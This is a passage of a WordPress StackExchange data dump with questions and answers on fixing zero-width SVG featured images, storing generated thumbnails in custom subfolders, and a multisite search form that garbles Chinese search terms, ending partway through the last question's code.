$image[2] = isset($attr->height) && preg_match('/\d+/', $attr->height, $value) ? (int) $value[0] : (count($viewbox) == 4 ? (int) $viewbox[3] : null);
} else {
$image[1] = $image[2] = null;
}
}
return $image;
}
</code></pre>
<h3>The bottom line:</h3>
<p>I believe I need to figure out how to extract the width information from the SVG file itself and add it to the WP database before functions.php runs the computation on line 771. If you know how, your guidance would be really appreciated.</p>
<p><strong>Some potentially helpful Resources</strong> </p>
<ul>
<li><a href="https://wordpress.stackexchange.com/questions/157480/ways-to-handle-svg-rendering-in-wordpress?rq=1">This question</a> seems to have helpful information, and the snippet
provided by @Josh there allowed me to finally view my SVGs in the
media library, but the featured image is still broken. </li>
<li><a href="https://stackoverflow.com/questions/6532261/php-how-to-get-width-and-height-of-a-svg-picture">This question</a> seems to have some XML-based solutions but I don't know
how to adapt it to WP.</li>
<li>Also one commenter below pointed me to <a href="http://gist.github.com/vadyua/f23ca0d86962c458ce60#file-lc-svg-upload-php-L56" rel="nofollow noreferrer">This filter</a> which seems to be relevant.</li>
</ul>
<h3>The SVG file's header</h3>
<p>This is the SVG header: </p>
<pre><code><?xml version="1.0" encoding="utf-8"?> <!-- Generator: Adobe Illustrator 15.1.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="475.419px" height="406.005px" viewBox="0 0 475.419 406.005" enable-background="new 0 0 475.419 406.005" xml:space="preserve">
</code></pre>
| [
{
"answer_id": 255534,
"author": "prosti",
"author_id": 88606,
"author_profile": "https://wordpress.stackexchange.com/users/88606",
"pm_score": 2,
"selected": false,
"text": "<p>It is hard to guess exactly what may be the problem for the WordPress enthusiast like me but since you pinged me in the Loop...</p>\n\n<p>Just to mention you haven't shared the theme files...</p>\n\n<pre><code>File: wp-includes/media.php\n804: /**\n805: * Retrieve an image to represent an attachment.\n806: *\n807: * A mime icon for files, thumbnail or intermediate size for images.\n808: *\n809: * The returned array contains four values: the URL of the attachment image src,\n810: * the width of the image file, the height of the image file, and a boolean\n811: * representing whether the returned array describes an intermediate (generated)\n812: * image size or the original, full-sized upload.\n813: *\n814: * @since 2.5.0\n815: *\n816: * @param int $attachment_id Image attachment ID.\n817: * @param string|array $size Optional. Image size. Accepts any valid image size, or an array of width\n818: * and height values in pixels (in that order). Default 'thumbnail'.\n819: * @param bool $icon Optional. Whether the image should be treated as an icon. Default false.\n820: * @return false|array Returns an array (url, width, height, is_intermediate), or false, if no image is available.\n821: */\n822: function wp_get_attachment_image_src( $attachment_id, $size = 'thumbnail', $icon = false ) {\n823: // get a thumbnail or intermediate image if there is one\n824: $image = image_downsize( $attachment_id, $size );\n825: if ( ! $image ) {\n826: $src = false;\n827: \n828: if ( $icon && $src = wp_mime_type_icon( $attachment_id ) ) {\n829: /** This filter is documented in wp-includes/post.php */\n830: $icon_dir = apply_filters( 'icon_dir', ABSPATH . WPINC . '/images/media' );\n831: \n832: $src_file = $icon_dir . '/' . wp_basename( $src );\n833: @list( $width, $height ) = getimagesize( $src_file );\n834: }\n835: \n836: if ( $src && $width && $height ) {\n837: $image = array( $src, $width, $height );\n838: }\n839: }\n</code></pre>\n\n<p>This part with:</p>\n\n<pre><code>@list( $width, $height ) = getimagesize( $src_file );\n</code></pre>\n\n<p>Looks like the problem since SVG images <a href=\"https://stackoverflow.com/questions/6532261/php-how-to-get-width-and-height-of-a-svg-picture\">don't have the size info</a>. They just fit the container.</p>\n\n<p>So you may create your own version of <code>wp_get_attachment_image_src</code> where you can somehow set the size.</p>\n"
},
{
"answer_id": 255634,
"author": "CoderScissorhands",
"author_id": 105196,
"author_profile": "https://wordpress.stackexchange.com/users/105196",
"pm_score": 5,
"selected": true,
"text": "<p>I solved it!!! The filter in fix #3 (above) wasn't working because of the third condition of this <code>if</code> statement that triggers the dimension extraction and attachment:</p>\n<p><code>if (is_array($image) && preg_match('/\\.svg$/i', $image[0]) && $image[1] == 1)</code></p>\n<p><code>$image[1]</code> in the third condition is the reported width of the SVG file as WP sees it before it enters the filter. Since I know that its value, the width, is 0 (from the "zero-division error" described above) I suspected that this value needed to be changed to match it. I changed the final <code>1</code> on that <code>if</code> condition to a <code>0</code> and..voila! The division error went away and the image is displaying, and beautifully so I might ad!</p>\n<p>I was able to spot this because in many forums people complain that SVGs are incorrectly getting assigned widths of 1px. This was probably the case in some versions of WP, but in my WP 4.7.2 media library, no dimension for the SVG, not even <code>1px</code> is posted, as a dimension. Instead there was simply no metadata regarding dimensions in my case.</p>\n<p>I think a flexible version of the filter would allow it to be applied if the width is 1 or 0, for people who had the 1px problem and for people like me, who had a width of 0. Below I included the fix, using <code>$image[1] <= 1</code>as the third condition of the <code>if</code> statement instead of <code>$image[1] == 1</code> but I suppose you could use this, too: <code>( ($image[1] == 0) || ($image[1] == 1) )</code></p>\n<h3>The working filter</h3>\n<pre><code> add_filter( 'wp_get_attachment_image_src', 'fix_wp_get_attachment_image_svg', 10, 4 ); /* the hook */\n\n function fix_wp_get_attachment_image_svg($image, $attachment_id, $size, $icon) {\n if (is_array($image) && preg_match('/\\.svg$/i', $image[0]) && $image[1] <= 1) {\n if(is_array($size)) {\n $image[1] = $size[0];\n $image[2] = $size[1];\n } elseif(($xml = simplexml_load_file($image[0])) !== false) {\n $attr = $xml->attributes();\n $viewbox = explode(' ', $attr->viewBox);\n $image[1] = isset($attr->width) && preg_match('/\\d+/', $attr->width, $value) ? (int) $value[0] : (count($viewbox) == 4 ? (int) $viewbox[2] : null);\n $image[2] = isset($attr->height) && preg_match('/\\d+/', $attr->height, $value) ? (int) $value[0] : (count($viewbox) == 4 ? (int) $viewbox[3] : null);\n } else {\n $image[1] = $image[2] = null;\n }\n }\n return $image;\n} \n</code></pre>\n<p>Thank you everyone for your help it was really a team effort!</p>\n"
}
]
| 2017/02/05 | [
"https://wordpress.stackexchange.com/questions/255314",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/105196/"
]
| Up to now, I have had no problems with the background-image thumbnails in my theme. However, now that I'm trying to use an SVG as the featured image, something is breaking. The problem seems to related to the width of the SVGs being returned as zero by `wp_get_attachment_image_src()`. So what I am I trying to do is figure out how to extract the width and height information from the SVG then set them to the appropriate values in the SVGs database fields, isn't proving easy.
*Note: there is not a general problem uploading or rendering svgs, they display fine in my logo.*
### The error and code: evidence of zero-width
This is the error that Wordpress throws on the page:
`Warning: Division by zero in /wp-content/themes/tesseract/functions.php on line 771`
This is the code in functions.php before the error (on line 771).
```
/*759*/ function tesseract_output_featimg_blog() {
/*760*/
/*761*/ global $post;
/*762*/
/*763*/ $thumbnail = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), 'full' );
/*764*/ $featImg_display = get_theme_mod('tesseract_blog_display_featimg');
/*765*/ $featImg_pos = get_theme_mod('tesseract_blog_featimg_pos');
/*766*/
/*767*/ $w = $thumbnail[1]; /* supposed to return thumbnail width */
/*768*/ $h = $thumbnail[2]; /* supposed to return thumbnail height */
/*769*/ $bw = 720;
/*770*/ $wr = $w/$bw;
/*771*/ $hr = $h/$wr; /**** this is the line that throws the error ****/
```
You can see there is a division with `$wr` as the denominator. Its seems that `$wr` is being computed as zero because its only non-constant factor, `$w`, is also zero (the other factor is 720, so it can't be to blame). `$w`'s value is determined by `$thumbnail[1]`. `$thumbnail[1]`'s value is is set on line 763 with this code:
`$thumbnail = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), 'full' );`
And according to the [the Codex](https://developer.wordpress.org/reference/functions/wp_get_attachment_image_src/), the second value in the returning array of the function `wp_get_attachment_image_src`(i.e. `$thumbnail[1]`) is indeed the width of the thumbnail. That value does appear to be zero, because it is the same value as `$w`, which is indeed denominator on line 771. :(
### Important Note: My theme implements thumbnails as background-images
The parent theme I am using, "Tesseract", places featured images as background images of anchors/ `<a>` elements, instead of placing them as `<img>` elements. **I do not believe this is the cause of the problem, but when offering solutions, they should be compatible with background-images, not `<img>` objects.**
### Couldn't adapt fix #1:
I did find [this webpage](http://www.kriesi.at/support/topic/how-to-use-svg-images-as-a-featured-image/) which provides a fix for problems using SVGs as featured images. It suggests that the issue is related to the computation of the width. However, I can't apply that fix because it is for an `img` element that has an SVG as a `src`, i have an `<a>` element that has the SVG location set to the the `background-image`-`url`.
This is the fix
```
function custom_admin_head() {
$css = '';
$css = 'td.media-icon img[src$=".svg"] { width: 100% !important; height: auto !important; }';
echo '<style type="text/css">'.$css.'</style>';
}
add_action('admin_head', 'custom_admin_head');
```
### Fix #2 (min-width via CSS) didn't work
Based on the idea I got from the above page, that the width of the might be the issue, I tried setting a min-width of 50% using just CSS to the `<a>`. Here is the code:
```
a.entry-post-thumbnail.above {
min-width: 50% !important;
}
```
My developer tools showed that the CSS "took", that the min-width did get set to 50%. Still WP threw the same error the image did not display. Maybe the CSS doesn't set it before functions.php runs wp\_get\_attachment\_image\_src, so it doesn't matter?
Anyone have any clues about how to work around this zero computation? I'd really like to get this working with the background-images, and without having to overwrite too much of the parent theme.
### Fix #3 (hooking a filter) didn't work.
With the help of @Milo, @NathanJohnson, and @prosti I was able to try a filter to alter `wp_get_attachment_image_src()`. The code doesn't produce an error but it doesn't remove the division error or get the SVG to display. This the snippet I placed into functions.php. Perhaps the priorities are wrong? :
```
add_filter( 'wp_get_attachment_image_src', 'fix_wp_get_attachment_image_svg', 10, 4 ); /* the hook */
function fix_wp_get_attachment_image_svg($image, $attachment_id, $size, $icon) {
if (is_array($image) && preg_match('/\.svg$/i', $image[0]) && $image[1] == 1) {
if(is_array($size)) {
$image[1] = $size[0];
$image[2] = $size[1];
} elseif(($xml = simplexml_load_file($image[0])) !== false) {
$attr = $xml->attributes();
$viewbox = explode(' ', $attr->viewBox);
$image[1] = isset($attr->width) && preg_match('/\d+/', $attr->width, $value) ? (int) $value[0] : (count($viewbox) == 4 ? (int) $viewbox[2] : null);
$image[2] = isset($attr->height) && preg_match('/\d+/', $attr->height, $value) ? (int) $value[0] : (count($viewbox) == 4 ? (int) $viewbox[3] : null);
} else {
$image[1] = $image[2] = null;
}
}
return $image;
}
```
### The bottom line:
I believe I need to figure out how to extract the width information from the SVG file itself and add it to the WP database before functions.php runs the computation on line 771. If you know how, your guidance would be really appreciated.
**Some potentially helpful Resources**
* [This question](https://wordpress.stackexchange.com/questions/157480/ways-to-handle-svg-rendering-in-wordpress?rq=1) seems to have helpful information, and the snippet
provided by @Josh there allowed me to finally view my SVGs in the
media library, but the featured image is still broken.
* [This question](https://stackoverflow.com/questions/6532261/php-how-to-get-width-and-height-of-a-svg-picture) seems to have some XML-based solutions but I don't know
how to adapt it to WP.
* Also one commenter below pointed me to [This filter](http://gist.github.com/vadyua/f23ca0d86962c458ce60#file-lc-svg-upload-php-L56) which seems to be relevant.
### The SVG file's header
This is the SVG header:
```
<?xml version="1.0" encoding="utf-8"?> <!-- Generator: Adobe Illustrator 15.1.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="475.419px" height="406.005px" viewBox="0 0 475.419 406.005" enable-background="new 0 0 475.419 406.005" xml:space="preserve">
``` | I solved it!!! The filter in fix #3 (above) wasn't working because of the third condition of this `if` statement that triggers the dimension extraction and attachment:
`if (is_array($image) && preg_match('/\.svg$/i', $image[0]) && $image[1] == 1)`
`$image[1]` in the third condition is the reported width of the SVG file as WP sees it before it enters the filter. Since I know that its value, the width, is 0 (from the "zero-division error" described above) I suspected that this value needed to be changed to match it. I changed the final `1` on that `if` condition to a `0` and..voila! The division error went away and the image is displaying, and beautifully so I might ad!
I was able to spot this because in many forums people complain that SVGs are incorrectly getting assigned widths of 1px. This was probably the case in some versions of WP, but in my WP 4.7.2 media library, no dimension for the SVG, not even `1px` is posted, as a dimension. Instead there was simply no metadata regarding dimensions in my case.
I think a flexible version of the filter would allow it to be applied if the width is 1 or 0, for people who had the 1px problem and for people like me, who had a width of 0. Below I included the fix, using `$image[1] <= 1`as the third condition of the `if` statement instead of `$image[1] == 1` but I suppose you could use this, too: `( ($image[1] == 0) || ($image[1] == 1) )`
### The working filter
```
add_filter( 'wp_get_attachment_image_src', 'fix_wp_get_attachment_image_svg', 10, 4 ); /* the hook */
function fix_wp_get_attachment_image_svg($image, $attachment_id, $size, $icon) {
if (is_array($image) && preg_match('/\.svg$/i', $image[0]) && $image[1] <= 1) {
if(is_array($size)) {
$image[1] = $size[0];
$image[2] = $size[1];
} elseif(($xml = simplexml_load_file($image[0])) !== false) {
$attr = $xml->attributes();
$viewbox = explode(' ', $attr->viewBox);
$image[1] = isset($attr->width) && preg_match('/\d+/', $attr->width, $value) ? (int) $value[0] : (count($viewbox) == 4 ? (int) $viewbox[2] : null);
$image[2] = isset($attr->height) && preg_match('/\d+/', $attr->height, $value) ? (int) $value[0] : (count($viewbox) == 4 ? (int) $viewbox[3] : null);
} else {
$image[1] = $image[2] = null;
}
}
return $image;
}
```
Thank you everyone for your help it was really a team effort! |
255,317 | <p>I've followed the accepted answer in <a href="https://wordpress.stackexchange.com/q/125784/94498">this</a> question to generate my thumbnails in a custom way. </p>
<p>I extended the image editor class as:</p>
<pre><code>class WP_Image_Editor_Custom extends WP_Image_Editor_GD {
public function generate_filename($prefix = NULL, $dest_path = NULL, $extension = NULL) {
// If empty, generate a prefix with the parent method get_suffix().
if(!$prefix)
$prefix = $this->get_suffix();
// Determine extension and directory based on file path.
$info = pathinfo($this->file);
$dir = $info['dirname'];
$ext = $info['extension'];
// Determine image name.
$name = wp_basename($this->file, ".$ext");
// Allow extension to be changed via method argument.
$new_ext = strtolower($extension ? $extension : $ext);
// Default to $_dest_path if method argument is not set or invalid.
if(!is_null($dest_path) && $_dest_path = realpath($dest_path))
$dir = $_dest_path;
// Return our new prefixed filename.
return trailingslashit($dir)."{$prefix}/{$name}.{$new_ext}";
}
function multi_resize($sizes) {
$sizes = parent::multi_resize($sizes);
//This will generate proper metadata for thumbnails
foreach($sizes as $slug => $data)
$sizes[$slug]['file'] = $slug."/".$data['file'];
return $sizes;
}
}
</code></pre>
<p>Now, original uploads will be stored in <code>uploads</code> and the thumbnails will be stored in <code>uploads/thumbnail/</code>, <code>/uploads/medium/</code> and <code>uploads/large/</code>.</p>
<p>What i want is one of these 2 scenarios:</p>
<p><strong>1-</strong> to store original uploads in a subfolder such as <code>uploads/original</code> and the thumbnails in <code>uploads/thumbnail/</code>, <code>/uploads/medium/</code> and <code>uploads/large/</code>.</p>
<p><strong>2-</strong> to store the original images in <code>uploads/</code> and the thumbnails in a folder named <code>thumbs/</code>, OUTSIDE the upload directory, in the root.</p>
<p>I was able to achieve number 2, However, when i call a function such as <code>wp_get_attachment_image_src()</code> it will append my custom thumbnail link (stored in post metadata) to the upload directory, producing a link like:</p>
<p><code>http://example.com/uploads/thumbs/medium/image.jpg</code></p>
<p>The correct format must be like:</p>
<p><code>http://example.com/thumbs/medium/image.jpg</code></p>
<p>Is it possible to overwrite the metadata while being called to point to the proper file??</p>
| [
{
"answer_id": 255946,
"author": "user6552940",
"author_id": 110206,
"author_profile": "https://wordpress.stackexchange.com/users/110206",
"pm_score": 1,
"selected": false,
"text": "<blockquote>\n <p>2- to store the original images in uploads/ and the thumbnails in a folder named thumbs/, OUTSIDE the upload directory, in the root.</p>\n</blockquote>\n\n<p>Following your second scenario since you're already halfway through it.\nYou can use the following :</p>\n\n<pre><code> add_filter( 'wp_get_attachment_image_src', function ( $image, $attachment_id, $size ) {\n\n // Make sure $image is not false.\n if ( $image ) {\n switch ( $size ) {\n // Add your custom sizes as cases here.\n case 'thumbnail':\n case 'medium':\n case 'large':\n case 'mysize':\n /*\n * This will simply convert the link from\n http://example.com/uploads/thumbs/medium/image.jpg\n to\n http://example.com/thumbs/medium/image.jpg\n only for thumbnails not for original images.\n */\n $image[0] = str_replace( '/uploads/', '/', $image[0] );\n break;\n default:\n break;\n }\n }\n\n return $image;\n }, 10, 3 );\n</code></pre>\n\n<p>I hope that helps you.</p>\n"
},
{
"answer_id": 269260,
"author": "Johansson",
"author_id": 94498,
"author_profile": "https://wordpress.stackexchange.com/users/94498",
"pm_score": 3,
"selected": true,
"text": "<p>It appears that the thumbnail URLs are generated relatively to the upload folder. So trying to store them outside the uploads folder is not going to be a good idea.</p>\n\n<p>There are hacks to filter the output for functions such as <code>the_post_thumbnail_url()</code>, but considering side issues such as the thumbnails not being able to be deleted, it's not worth a try.</p>\n\n<p>What i was able to achieve, is to store the generated thumbnails in a different subdirectory, inside the uploads folder, and then protect the original uploads folder by setting the proper rules in the <code>.htaccess</code> file, in case you want to protect them from the visitor, making them forbidden to be accessed directly.</p>\n\n<p>I was able to make a copy of the original generator class in <code>wp-image-editor-gd.php</code> to store the thumbnails in subdirectory. Here is how to do so:</p>\n\n<p>First, we set our own class as the primary image generator:</p>\n\n<pre><code>add_filter('wp_image_editors', 'custom_wp_image_editors');\nfunction custom_wp_image_editors($editors) {\n array_unshift($editors, \"custom_WP_Image_Editor\");\n return $editors;\n}\n</code></pre>\n\n<p>We then include the necessary classes to be extended:</p>\n\n<pre><code>require_once ABSPATH . WPINC . \"/class-wp-image-editor.php\";\nrequire_once ABSPATH . WPINC . \"/class-wp-image-editor-gd.php\";\n</code></pre>\n\n<p>And finally setting the path:</p>\n\n<pre><code>class custom_WP_Image_Editor extends WP_Image_Editor_GD {\n public function generate_filename($suffix = null, $dest_path = null, $extension = null) {\n // $suffix will be appended to the destination filename, just before the extension\n if (!$suffix) {\n $suffix = $this->get_suffix();\n }\n $dir = pathinfo($this->file, PATHINFO_DIRNAME);\n $ext = pathinfo($this->file, PATHINFO_EXTENSION);\n $name = wp_basename($this->file, \".$ext\");\n $new_ext = strtolower($extension ? $extension : $ext );\n if (!is_null($dest_path) && $_dest_path = realpath($dest_path)) {\n $dir = $_dest_path;\n }\n //we get the dimensions using explode\n $size_from_suffix = explode(\"x\", $suffix);\n return trailingslashit( $dir ) . \"{$size_from_suffix[0]}/{$name}.{$new_ext}\";\n }\n}\n</code></pre>\n\n<p>Now the thumbnails will be stored in different sub-folders, based on their width. For example:</p>\n\n<pre><code>/wp-content/uploads/150/example.jpg\n/wp-content/uploads/600/example.jpg\n/wp-content/uploads/1024/example.jpg\n</code></pre>\n\n<p>And so on.</p>\n\n<h2>Possible issue</h2>\n\n<p>Now there might be an issue when we upload images smaller than the smallest thumbnail size. For example if we upload an image, sized <code>100x100</code>pixels while the smallest thumbnail size is <code>150x150</code>, another folder will be created in the uploads directory. This might result in a lot of subdirectories in the uploads directory. I have solved this issue with another approach, in <a href=\"https://wordpress.stackexchange.com/q/266968/94498\">this</a> question.</p>\n"
}
]
| 2017/02/06 | [
"https://wordpress.stackexchange.com/questions/255317",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/94498/"
]
| I've followed the accepted answer in [this](https://wordpress.stackexchange.com/q/125784/94498) question to generate my thumbnails in a custom way.
I extended the image editor class as:
```
class WP_Image_Editor_Custom extends WP_Image_Editor_GD {
public function generate_filename($prefix = NULL, $dest_path = NULL, $extension = NULL) {
// If empty, generate a prefix with the parent method get_suffix().
if(!$prefix)
$prefix = $this->get_suffix();
// Determine extension and directory based on file path.
$info = pathinfo($this->file);
$dir = $info['dirname'];
$ext = $info['extension'];
// Determine image name.
$name = wp_basename($this->file, ".$ext");
// Allow extension to be changed via method argument.
$new_ext = strtolower($extension ? $extension : $ext);
// Default to $_dest_path if method argument is not set or invalid.
if(!is_null($dest_path) && $_dest_path = realpath($dest_path))
$dir = $_dest_path;
// Return our new prefixed filename.
return trailingslashit($dir)."{$prefix}/{$name}.{$new_ext}";
}
function multi_resize($sizes) {
$sizes = parent::multi_resize($sizes);
//This will generate proper metadata for thumbnails
foreach($sizes as $slug => $data)
$sizes[$slug]['file'] = $slug."/".$data['file'];
return $sizes;
}
}
```
Now, original uploads will be stored in `uploads` and the thumbnails will be stored in `uploads/thumbnail/`, `/uploads/medium/` and `uploads/large/`.
What i want is one of these 2 scenarios:
**1-** to store original uploads in a subfolder such as `uploads/original` and the thumbnails in `uploads/thumbnail/`, `/uploads/medium/` and `uploads/large/`.
**2-** to store the original images in `uploads/` and the thumbnails in a folder named `thumbs/`, OUTSIDE the upload directory, in the root.
I was able to achieve number 2, However, when i call a function such as `wp_get_attachment_image_src()` it will append my custom thumbnail link (stored in post metadata) to the upload directory, producing a link like:
`http://example.com/uploads/thumbs/medium/image.jpg`
The correct format must be like:
`http://example.com/thumbs/medium/image.jpg`
Is it possible to overwrite the metadata while being called to point to the proper file?? | It appears that the thumbnail URLs are generated relatively to the upload folder. So trying to store them outside the uploads folder is not going to be a good idea.
There are hacks to filter the output for functions such as `the_post_thumbnail_url()`, but considering side issues such as the thumbnails not being able to be deleted, it's not worth a try.
What i was able to achieve, is to store the generated thumbnails in a different subdirectory, inside the uploads folder, and then protect the original uploads folder by setting the proper rules in the `.htaccess` file, in case you want to protect them from the visitor, making them forbidden to be accessed directly.
I was able to make a copy of the original generator class in `wp-image-editor-gd.php` to store the thumbnails in subdirectory. Here is how to do so:
First, we set our own class as the primary image generator:
```
add_filter('wp_image_editors', 'custom_wp_image_editors');
function custom_wp_image_editors($editors) {
array_unshift($editors, "custom_WP_Image_Editor");
return $editors;
}
```
We then include the necessary classes to be extended:
```
require_once ABSPATH . WPINC . "/class-wp-image-editor.php";
require_once ABSPATH . WPINC . "/class-wp-image-editor-gd.php";
```
And finally setting the path:
```
class custom_WP_Image_Editor extends WP_Image_Editor_GD {
public function generate_filename($suffix = null, $dest_path = null, $extension = null) {
// $suffix will be appended to the destination filename, just before the extension
if (!$suffix) {
$suffix = $this->get_suffix();
}
$dir = pathinfo($this->file, PATHINFO_DIRNAME);
$ext = pathinfo($this->file, PATHINFO_EXTENSION);
$name = wp_basename($this->file, ".$ext");
$new_ext = strtolower($extension ? $extension : $ext );
if (!is_null($dest_path) && $_dest_path = realpath($dest_path)) {
$dir = $_dest_path;
}
//we get the dimensions using explode
$size_from_suffix = explode("x", $suffix);
return trailingslashit( $dir ) . "{$size_from_suffix[0]}/{$name}.{$new_ext}";
}
}
```
Now the thumbnails will be stored in different sub-folders, based on their width. For example:
```
/wp-content/uploads/150/example.jpg
/wp-content/uploads/600/example.jpg
/wp-content/uploads/1024/example.jpg
```
And so on.
Possible issue
--------------
Now there might be an issue when we upload images smaller than the smallest thumbnail size. For example if we upload an image, sized `100x100`pixels while the smallest thumbnail size is `150x150`, another folder will be created in the uploads directory. This might result in a lot of subdirectories in the uploads directory. I have solved this issue with another approach, in [this](https://wordpress.stackexchange.com/q/266968/94498) question. |
255,333 | <p>I am facing one issue while i'm creating my website. I have a search bar on my website. I tried to type and search in chinese, but the search terms on page that i entered become question mark and symbol. The url also same. I'm wondering how can make it work. Only the search terms become this. Any solution?</p>
<p><strong>Updated:</strong>
This is the search form that i have(this is a searchbox apply to my multisite).</p>
<pre><code><div class="search">
<form name="searchform" onsubmit="return !!(validateSearch() && dosearch());" method="get" id="searchform">
<input type="text" name="searchterms" class="terms" id="terms" placeholder="<?php if (is_search()) { ?><?php the_search_query(); ?><?php } elseif (is_home() || is_single() || is_page() || is_archive() || is_404()) { ?>What are you searching for?<?php } ?>">
<select name="sengines" class="state" id="state">
<option value="" selected>Select a State</option>
<?php $bcount = get_blog_count();
global $wpdb;
$blogs = $wpdb->get_results($wpdb->prepare("SELECT * FROM $wpdb->blogs WHERE spam = '0' AND deleted = '0' and archived = '0' and public='1'"));
if(!empty($blogs)){
?><?php
foreach($blogs as $blog){
$details = get_blog_details($blog->blog_id);
if($details != false){
$addr = $details->siteurl;
$name = $details->blogname;
if(!(($blog->blog_id == 1)&&($show_main != 1))){
?>
<option value="<?php echo $addr; ?>?s="><?php echo $name;?></option>
<?php
}
}
}
?><?php } ?>
</select>
<input name="Search" type="submit" value="Search" class="button3">
</form>
</div><!--search-->
</code></pre>
<p><strong>Javascript for the search form</strong></p>
<pre><code>function dosearch() {
var sf=document.searchform;
var submitto = sf.sengines.options[sf.sengines.selectedIndex].value + escape(sf.searchterms.value);
window.location.href = submitto;
return false;
}
function validateSearch(){
// set some vars
var terms = document.getElementById('terms');
var state = document.getElementById('state');
var msg = '';
if(terms.value == ''){
msg+= 'We were unable to search without a keyword! \n';
}
else if(terms.value.length < 3){
msg+= 'Keyword is too short! \n';
}
else if(terms.value.length > 25){
msg+= 'Keyword is too long! \n';
}
else if(state.value == ''){
msg+= 'Select state to proceed! \n';
}
// SUbmit form part
if(msg == ''){
return true;
}else{
alert(msg);
return false;
}
}
</code></pre>
<p><a href="https://i.stack.imgur.com/ObR4E.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/ObR4E.jpg" alt="This is the search result page(not completed yet!)"></a></p>
| [
{
"answer_id": 255946,
"author": "user6552940",
"author_id": 110206,
"author_profile": "https://wordpress.stackexchange.com/users/110206",
"pm_score": 1,
"selected": false,
"text": "<blockquote>\n <p>2- to store the original images in uploads/ and the thumbnails in a folder named thumbs/, OUTSIDE the upload directory, in the root.</p>\n</blockquote>\n\n<p>Following your second scenario since you're already halfway through it.\nYou can use the following :</p>\n\n<pre><code> add_filter( 'wp_get_attachment_image_src', function ( $image, $attachment_id, $size ) {\n\n // Make sure $image is not false.\n if ( $image ) {\n switch ( $size ) {\n // Add your custom sizes as cases here.\n case 'thumbnail':\n case 'medium':\n case 'large':\n case 'mysize':\n /*\n * This will simply convert the link from\n http://example.com/uploads/thumbs/medium/image.jpg\n to\n http://example.com/thumbs/medium/image.jpg\n only for thumbnails not for original images.\n */\n $image[0] = str_replace( '/uploads/', '/', $image[0] );\n break;\n default:\n break;\n }\n }\n\n return $image;\n }, 10, 3 );\n</code></pre>\n\n<p>I hope that helps you.</p>\n"
},
{
"answer_id": 269260,
"author": "Johansson",
"author_id": 94498,
"author_profile": "https://wordpress.stackexchange.com/users/94498",
"pm_score": 3,
"selected": true,
"text": "<p>It appears that the thumbnail URLs are generated relatively to the upload folder. So trying to store them outside the uploads folder is not going to be a good idea.</p>\n\n<p>There are hacks to filter the output for functions such as <code>the_post_thumbnail_url()</code>, but considering side issues such as the thumbnails not being able to be deleted, it's not worth a try.</p>\n\n<p>What i was able to achieve, is to store the generated thumbnails in a different subdirectory, inside the uploads folder, and then protect the original uploads folder by setting the proper rules in the <code>.htaccess</code> file, in case you want to protect them from the visitor, making them forbidden to be accessed directly.</p>\n\n<p>I was able to make a copy of the original generator class in <code>wp-image-editor-gd.php</code> to store the thumbnails in subdirectory. Here is how to do so:</p>\n\n<p>First, we set our own class as the primary image generator:</p>\n\n<pre><code>add_filter('wp_image_editors', 'custom_wp_image_editors');\nfunction custom_wp_image_editors($editors) {\n array_unshift($editors, \"custom_WP_Image_Editor\");\n return $editors;\n}\n</code></pre>\n\n<p>We then include the necessary classes to be extended:</p>\n\n<pre><code>require_once ABSPATH . WPINC . \"/class-wp-image-editor.php\";\nrequire_once ABSPATH . WPINC . \"/class-wp-image-editor-gd.php\";\n</code></pre>\n\n<p>And finally setting the path:</p>\n\n<pre><code>class custom_WP_Image_Editor extends WP_Image_Editor_GD {\n public function generate_filename($suffix = null, $dest_path = null, $extension = null) {\n // $suffix will be appended to the destination filename, just before the extension\n if (!$suffix) {\n $suffix = $this->get_suffix();\n }\n $dir = pathinfo($this->file, PATHINFO_DIRNAME);\n $ext = pathinfo($this->file, PATHINFO_EXTENSION);\n $name = wp_basename($this->file, \".$ext\");\n $new_ext = strtolower($extension ? $extension : $ext );\n if (!is_null($dest_path) && $_dest_path = realpath($dest_path)) {\n $dir = $_dest_path;\n }\n //we get the dimensions using explode\n $size_from_suffix = explode(\"x\", $suffix);\n return trailingslashit( $dir ) . \"{$size_from_suffix[0]}/{$name}.{$new_ext}\";\n }\n}\n</code></pre>\n\n<p>Now the thumbnails will be stored in different sub-folders, based on their width. For example:</p>\n\n<pre><code>/wp-content/uploads/150/example.jpg\n/wp-content/uploads/600/example.jpg\n/wp-content/uploads/1024/example.jpg\n</code></pre>\n\n<p>And so on.</p>\n\n<h2>Possible issue</h2>\n\n<p>Now there might be an issue when we upload images smaller than the smallest thumbnail size. For example if we upload an image, sized <code>100x100</code>pixels while the smallest thumbnail size is <code>150x150</code>, another folder will be created in the uploads directory. This might result in a lot of subdirectories in the uploads directory. I have solved this issue with another approach, in <a href=\"https://wordpress.stackexchange.com/q/266968/94498\">this</a> question.</p>\n"
}
]
| 2017/02/06 | [
"https://wordpress.stackexchange.com/questions/255333",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/23036/"
]
| I am facing one issue while i'm creating my website. I have a search bar on my website. I tried to type and search in chinese, but the search terms on page that i entered become question mark and symbol. The url also same. I'm wondering how can make it work. Only the search terms become this. Any solution?
**Updated:**
This is the search form that i have(this is a searchbox apply to my multisite).
```
<div class="search">
<form name="searchform" onsubmit="return !!(validateSearch() && dosearch());" method="get" id="searchform">
<input type="text" name="searchterms" class="terms" id="terms" placeholder="<?php if (is_search()) { ?><?php the_search_query(); ?><?php } elseif (is_home() || is_single() || is_page() || is_archive() || is_404()) { ?>What are you searching for?<?php } ?>">
<select name="sengines" class="state" id="state">
<option value="" selected>Select a State</option>
<?php $bcount = get_blog_count();
global $wpdb;
